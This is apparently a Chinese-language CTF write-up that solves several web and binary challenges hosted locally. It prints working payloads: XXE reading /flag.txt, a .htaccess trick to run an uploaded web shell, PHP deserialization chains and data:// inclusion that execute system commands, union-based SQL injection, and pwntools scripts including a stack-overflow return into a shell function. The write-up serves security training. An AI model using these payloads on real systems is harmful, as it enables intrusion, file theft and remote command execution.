10 第十章 天机符阵_revenge
跟上一题做法一样,只不过flag.txt文件在根目录下。
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///flag.txt">
]>
<解析>&test;</解析>

又拿到一个小说解压密码0mzKObH~eIodVLbwF9921DTT。

14 第十四章 御神关·补天玉碑
题目提示apache有一个特殊的文件就能想到.htaccess文件,这个在文件上传漏洞能起到很大的作用。

编写一个.htaccess文件,代码的意思是将jpg格式的文件按照php去解析。
AddType application/x-httpd-php .jpg
再上传一个jpg格式的一句话木马。

上传后得到文件上传的路径。

访问,通过一句话木马执行命令,获取flag。


又拿到一个小说解压密码OChjeFxjQhK^gYLA^2M2~UUk。

18 第十八章 万卷诡阁·功法连环
典型的反序列化POP链构造,先了解一下php中的魔术方法。
__construct() //用于在创建对象时自动触发当使用 new 关键字实例化一个类时,会自动调用该类的 __construct() 方法
__destruct() //__destruct() 用于在对象被销毁时自动触发对象的销毁对象的引用计数减少为零来触发
__sleep() //序列化serialize() 函数会检查类中是否存在一个魔术方法sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组
__wakeup() //用于在反序列化对象时自动调用unserialize() 会检查是否存在一个 wakeup() 方法,如果存在,则会先调用wakeup()方法
__tostring() //__tostring() 在对象被当做字符串处理时自动调用比如echo、==、preg_match()
__invoke() //__invoke() 在对象被当做函数处理时自动调用
__call() //__call($method, $args) 在调用一个不存在的方法时触发, $args是数组的形式
__callStatic() //__callStatic() 在静态调用或调用成员常量时使用的方法不存在时触发
__set() //__set() 在给不存在的成员属性赋值时触发
__isset() //__isset() 在对不可访问属性使用 isset() 或empty() 时会被触发
__unset() //__unset() 在对不可访问属性使用 unset() 时会被触发
__clone() //__clone() 当使用 clone 关键字拷贝完成一个对象后就会触发
__get() //__get() 当尝试访问不可访问属性时会被自动调用
题目代码中涉及到的魔术方法只有wakeup,它会在调用unserialize函数的时候自动调用,所以构造POP链的顺序为unserialize函数调用PersonA的__wakeup函数,让PersonA的$name为PersonB的对象,再去调用PersonB的work函数,最后让PersonB的$name为我们想要执行的命令。
<?php
class PersonA {
public $name;
function __wakeup() {
$name=$this->name;
$name->work();
}
}
class PersonB {
public $name;
function work(){
$name=$this->name;
eval($name);
}
}
$a=new PersonA();
$b=new PersonB();
$a->name=$b;
$b->name="system('ls');";
echo serialize($a);
?>
生成的poc为:O:7:"PersonA":1:{s:4:"name";O:7:"PersonB":1:{s:4:"name";s:13:"system('ls');";}}。但是由于PersonA类中的name变量为私有的,需要对poc稍微修改一下。对于private变量,我们需要在类名和字段名前面都会加上\0的前缀,如果想放在浏览器中直接提交,我们可以将\0换成%00。所以修改过后的poc为O:7:"PersonA":1:{s:13:"%00PersonA%00name";O:7:"PersonB":1:{s:4:"name";s:13:"system(%27ls%27);";}},注意前面的长度值要对应的修改。
序列化结果各个字段的意思
O:1:"a":1:{s:4:"test";s:3:"123";}(O:类的名字长度:类名:变量数:{变量名类型:长度:具体的内容;变量值的类型:长度:具体的内容 })

查看根目录下的文件,poc为O:7:"PersonA":1:{s:13:"%00PersonA%00name";O:7:"PersonB":1:{s:4:"name";s:15:"system(%27ls%20/%27);";}},有个flag。

读取flag,poc为O:7:"PersonA":1:{s:13:"%00PersonA%00name";O:7:"PersonB":1:{s:4:"name";s:20:"system(%27cat%20/flag%27);";}}。

又拿到一个小说解压密码jYThfVs3HMmGazRP6M3Sfc5i。

摸金偶遇FLAG,拼尽全力难战胜
题目需要在几秒钟之内翻译摩斯密码,并提交。这个靠人工是铁定不行了,需要编写脚本。
打开开发者工具,点击开始挑战,看触发哪些数据包。

只有一条数据包,并且数据包的响应内容就是我们想要得到的内容,已经对摩斯密码进行了翻译。再看页面源代码,哪个接口是上传数据的,找到verify函数,并且它要上传的数据就是上一个数据包的响应内容。

流程走通了,编写脚本。
import requests
import json
url = "http://127.0.0.1:57503/get_challenge?count=9"
headers = {
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0"
}
resp = requests.get(url, headers=headers)
json_resp = json.loads(resp.content)
answers = json_resp["numbers"]
token = json_resp["token"]
print(answers, token)
post_url = "http://127.0.0.1:57503/verify"
post_headers = {
"Content-Type": "application/json",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0"
}
data = {
"answers": answers,
"token": token,
}
post_resp = requests.post(url=post_url, data=json.dumps(data), headers=post_headers)
print(post_resp.content)
但是运行得不到flag,因为这两个数据包需要共享会话状态,若用requests那么每次都会创建一个新会话,这里要用session去访问才行。
import requests
import json
sess = requests.session()
url = "http://127.0.0.1:57503/get_challenge?count=9"
headers = {
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0"
}
resp = sess.get(url, headers=headers)
json_resp = json.loads(resp.content)
answers = json_resp["numbers"]
token = json_resp["token"]
print(answers, token)
post_url = "http://127.0.0.1:57503/verify"
post_headers = {
"Content-Type": "application/json",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0"
}
data = {
"answers": answers,
"token": token,
}
post_resp = sess.post(url=post_url, data=json.dumps(data), headers=post_headers)
print(post_resp.content)
运行得到flag。

08 第八章 天衍真言,星图显圣
还是sql注入题,输入admin' or 1=1#,显示欢迎admin。

在输入admin' and 1=2#,显示登录失败,验证存在sql注入。

利用admin' order by 2#判断字段数为2。

利用aaaa' union select 1111,2222#判断显示为1111。

利用aaaa' union select database(),2222#获取数据库为user。

利用aaaa' union select table_name,2222 from information_schema.tables where table_schema=database()#获取user库中的表名。

利用aaaa' union select column_name,2222 from information_schema.columns where table_schema=database() and table_name='flag'#获取flag表中的列名。

利用aaaa' union select value,2222 from flag#获取value列的值,拿到flag。

又拿到一个小说解压密码vigv8Vt5AVCkG8tRI@auP^u3。

11 第十一章 千机变·破妄之眼
根据题目提示参数名由m,n,o,p,q五个字母组成,并且需要参数名等于参数值。

编写python脚本生成所有的排列组合。
import itertools
# 生成m,n,o,p,q能够产生的所有排列
choices = []
for temp in itertools.permutations('mnopq', 5):
choices.append("".join(list(temp)))
for choice in choices:
with open("choice.txt", "a") as file:
file.writelines(choice+"\n")
利用burp的intruder模块进行爆破,发现onqpm的组合是正确的。(爆破的时候记得做点延时)


将onqpm作为参数名和参数值访问。

点击关注重定向,可以得到一个find.php页面。

访问find.php页面,有三个文件,其中一个就是flag.php。

点击flag.php,却显示境界不够看不到。

可以注意到url中有一个file传参,这就可以利用php的伪协议去读取了。poc:file=php://filter/convert.base64-encode/resource=./flag.php

对结果进行base64解码拿到flag。

又拿到一个小说解压密码W3WOVC8XU1v_189G0dINixcb。

16 第十六章 昆仑星途
就一行代码。

有include函数,是一个文件包含漏洞,这里可以用php协议,拼接.php不会影响我们想要执行的代码。
?file=data://text/plain,<?php%20system(%27ls%20/%27)%20?>

?file=data://text/plain,<?php%20system(%27cat%20/flag-8PfJg7d91lz6EYfcqcf6EVipQcA8Qx.txt%27)%20?>

二进制漏洞审计
0 二进制漏洞审计入门指北
配置好环境后,运行代码就能拿到flag。(在connect函数里填上对应的ip地址和端口即可)


1 ez_u64
先用checksec命令判断程序是64位。

用ida打开,F5编译成伪代码看一下。

只要v3==num就可以利用/bin/sh执行我们想要执行的命令。开始写代码,一步步调试。
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = connect("127.0.0.1", 63965)
p.interactive()

需要我们输入的内容为hint.后面的字符串,完善代码。
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = connect("127.0.0.1", 63965)
p.recvuntil("hint.")
num = p.recv(8)
print(num)
p.interactive()

将获取到的内容输进去,提示我们要用u64。

说明需要对获取到的内容进行u64处理。
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = connect("127.0.0.1", 63965)
p.recvuntil("hint.")
num = p.recv(8)
ans = u64(num)
p.sendline(str(ans).encode())
p.interactive()
运行得到了win界面,成功。

接下来就是输入cat /flag命令读flag了。

p 开头:p32/p64 表示 “打包”(pack),将整数转换为指定长度的字节流(默认小端序)。
u 开头:u32/u64 表示 “解包”(unpack),将字节流转换为整数(默认小端序)。
数字 32/64 表示处理的是 32 位 或 64 位 数据。
1 find it
了解一下fd文件描述符是什么。
在类 Unix 系统(如 Linux、macOS)中,每个进程启动时会默认打开 3 个文件描述符:
0:标准输入(stdin,通常对应键盘)
1:标准输出(stdout,通常对应显示器)
2:标准错误(stderr,通常对应显示器,用于输出错误信息)
初始fd:0,1,2分配给了stdin,stdout,stderr。新的stdout从3开始分配,open flag后,1关闭,flag会被分配到1,依次输入3,./flag,1即可。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = connect("127.0.0.1", 65446)
p.interactive()



2 EZtext
能获取/bin/sh权限的函数是treasure。

结合来看就是要栈溢出后执行treasure函数即可。先看下treasure函数的地址。
打开反汇编试图,双击treasure函数,可以知道地址为0x4011B6。

这里还需要通过retn的指令去执行treasure函数。全局搜索retn指令,能用的只有初始化的这一个。

编写脚本进行flag的获取。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = connect("127.0.0.1", 50122)
payload = b"a"*16 + p64(0x40101A) + p64(0x4011b6)
p.sendline(b"32")
p.sendline(payload)
p.interactive()

浙公网安备 33010602011771号